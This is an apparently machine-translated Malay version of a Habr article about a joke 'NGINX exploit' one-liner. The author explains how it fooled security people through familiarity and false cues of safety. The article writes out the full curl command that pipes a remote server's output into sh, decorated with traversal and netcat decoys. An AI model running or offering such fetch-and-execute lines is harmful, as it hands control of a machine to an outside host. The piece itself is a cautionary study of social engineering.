Catatan. terjemah:
TL;DR: Jangan gunakan saluran paip dalam sh atau bash dalam apa jua keadaan. Ini adalah cara terbaik untuk kehilangan kawalan ke atas komputer anda.
Saya ingin berkongsi dengan anda cerita pendek tentang eksploitasi PoC komik yang telah dibuat pada 31 Mei. Dia muncul segera sebagai maklum balas kepada berita daripada
Setelah selesai mengerjakan teknik pengeliruan baharu dalam curl, saya memetik tweet asal dan "membocorkan PoC yang berfungsi" yang terdiri daripada satu baris kod yang kononnya mengeksploitasi kelemahan yang ditemui. Sudah tentu, ini adalah karut sepenuhnya. Saya mengandaikan bahawa saya akan didedahkan serta-merta, dan paling baik saya akan mendapat beberapa tweet semula (oh well).
Namun, saya tidak dapat membayangkan apa yang berlaku seterusnya. Populariti tweet saya melonjak naik. Yang menghairankan, pada masa ini (15:00 waktu Moscow 1 Jun) beberapa orang telah menyedari bahawa ini adalah palsu. Ramai orang mengetweet semula tanpa menyemaknya sama sekali (apatah lagi mengagumi grafik ASCII yang indah yang dikeluarkannya).
Lihat sahaja betapa cantiknya!
Walaupun semua gelung dan warna ini hebat, jelas bahawa orang terpaksa menjalankan kod pada mesin mereka untuk melihatnya. Nasib baik, penyemak imbas berfungsi dengan cara yang sama, dan digabungkan dengan fakta bahawa saya tidak benar-benar mahu menghadapi masalah undang-undang, kod yang terkubur dalam tapak saya hanya membuat panggilan gema tanpa cuba memasang atau melaksanakan sebarang kod tambahan.
Penyimpangan kecil:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Kejuruteraan sosio-elektronik (SEE) - lebih daripada sekadar pancingan data
Keselamatan dan kebiasaan adalah bahagian utama dalam eksperimen ini. Saya fikir mereka adalah yang membawa kepada kejayaannya. Baris arahan jelas membayangkan keselamatan dengan merujuk kepada "127.0.0.1" (localhost yang terkenal). Localhost dianggap selamat dan data padanya tidak pernah meninggalkan komputer anda.
Kebiasaan ialah komponen SEE utama kedua bagi percubaan. Memandangkan khalayak sasaran terutamanya terdiri daripada orang yang biasa dengan asas keselamatan komputer, adalah penting untuk mencipta kod supaya sebahagian daripadanya kelihatan biasa dan biasa (dan oleh itu selamat). Meminjam elemen konsep eksploitasi lama dan menggabungkannya dengan cara yang luar biasa telah terbukti sangat berjaya.
Di bawah ialah analisis terperinci tentang satu pelapik. Semua dalam senarai ini memakai sifat kosmetik, dan secara praktikal tiada apa yang diperlukan untuk operasi sebenarnya.
Apakah komponen yang benar-benar diperlukan? ini -gsS
, -O 0x0238f06a
, |sh
dan pelayan web itu sendiri. Pelayan web tidak mengandungi sebarang arahan berniat jahat, tetapi hanya menyampaikan grafik ASCII menggunakan arahan echo
dalam skrip yang terkandung dalam index.html
. Apabila pengguna memasukkan baris dengan |sh
di tengah, index.html
dimuatkan dan dilaksanakan. Nasib baik, penjaga pelayan web tidak mempunyai niat jahat.
-
../../../%00
β mewakili melampaui direktori; -
ngx_stream_module.so
β laluan ke modul NGINX rawak; -
/bin/sh%00<'protocol:TCP'
- kami sepatutnya melancarkan/bin/sh
pada mesin sasaran dan ubah hala keluaran ke saluran TCP; -
-O 0x0238f06a#PLToffset
- ramuan rahsia, ditambah#PLToffset
, untuk kelihatan seperti mengimbangi memori entah bagaimana terkandung dalam PLT; -
|sh;
- satu lagi serpihan penting. Kami perlu mengubah hala output ke sh/bash untuk melaksanakan kod yang datang dari pelayan web menyerang yang terletak di0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- dummy di mana netcat merujuk kepada/dev/tcp/localhost
supaya semuanya kelihatan selamat semula. Malah, ia tidak melakukan apa-apa dan termasuk dalam barisan untuk kecantikan.
Ini menyimpulkan penyahkodan skrip satu baris dan perbincangan tentang aspek "kejuruteraan sosio-elektronik" (pancingan data yang rumit).
Konfigurasi Pelayan Web dan Tindakan Balas
Memandangkan sebahagian besar pelanggan saya adalah infosec/penggodam, saya memutuskan untuk menjadikan pelayan web lebih tahan terhadap ungkapan "minat" di pihak mereka, hanya supaya mereka mempunyai sesuatu untuk dilakukan (dan ia akan menjadi menyeronokkan untuk sediakan). Saya tidak akan menyenaraikan semua masalah di sini kerana percubaan masih berjalan, tetapi berikut adalah beberapa perkara yang dilakukan oleh pelayan:
- Secara aktif memantau percubaan pengedaran pada rangkaian sosial tertentu dan menggantikan pelbagai lakaran kecil pratonton untuk menggalakkan pengguna mengklik pada pautan.
- Mengubah hala Chrome/Mozilla/Safari/dll ke video promosi Thugcrowd dan bukannya menunjukkan skrip shell.
- Menonton tanda-tanda pencerobohan/penggodaman yang jelas, dan kemudian mula mengubah hala permintaan ke pelayan NSA (ha!).
- Memasang Trojan, serta rootkit BIOS, pada semua komputer yang penggunanya melawati hos dari pelayar biasa (gurau sahaja!).
Sebahagian kecil antimer
Dalam kes ini, satu-satunya matlamat saya adalah untuk menguasai beberapa ciri Apache - khususnya, peraturan yang menarik untuk mengubah hala permintaan - dan saya fikir: mengapa tidak?
Eksploitasi NGINX (Sebenar!)
Langgan
Sumber: www.habr.com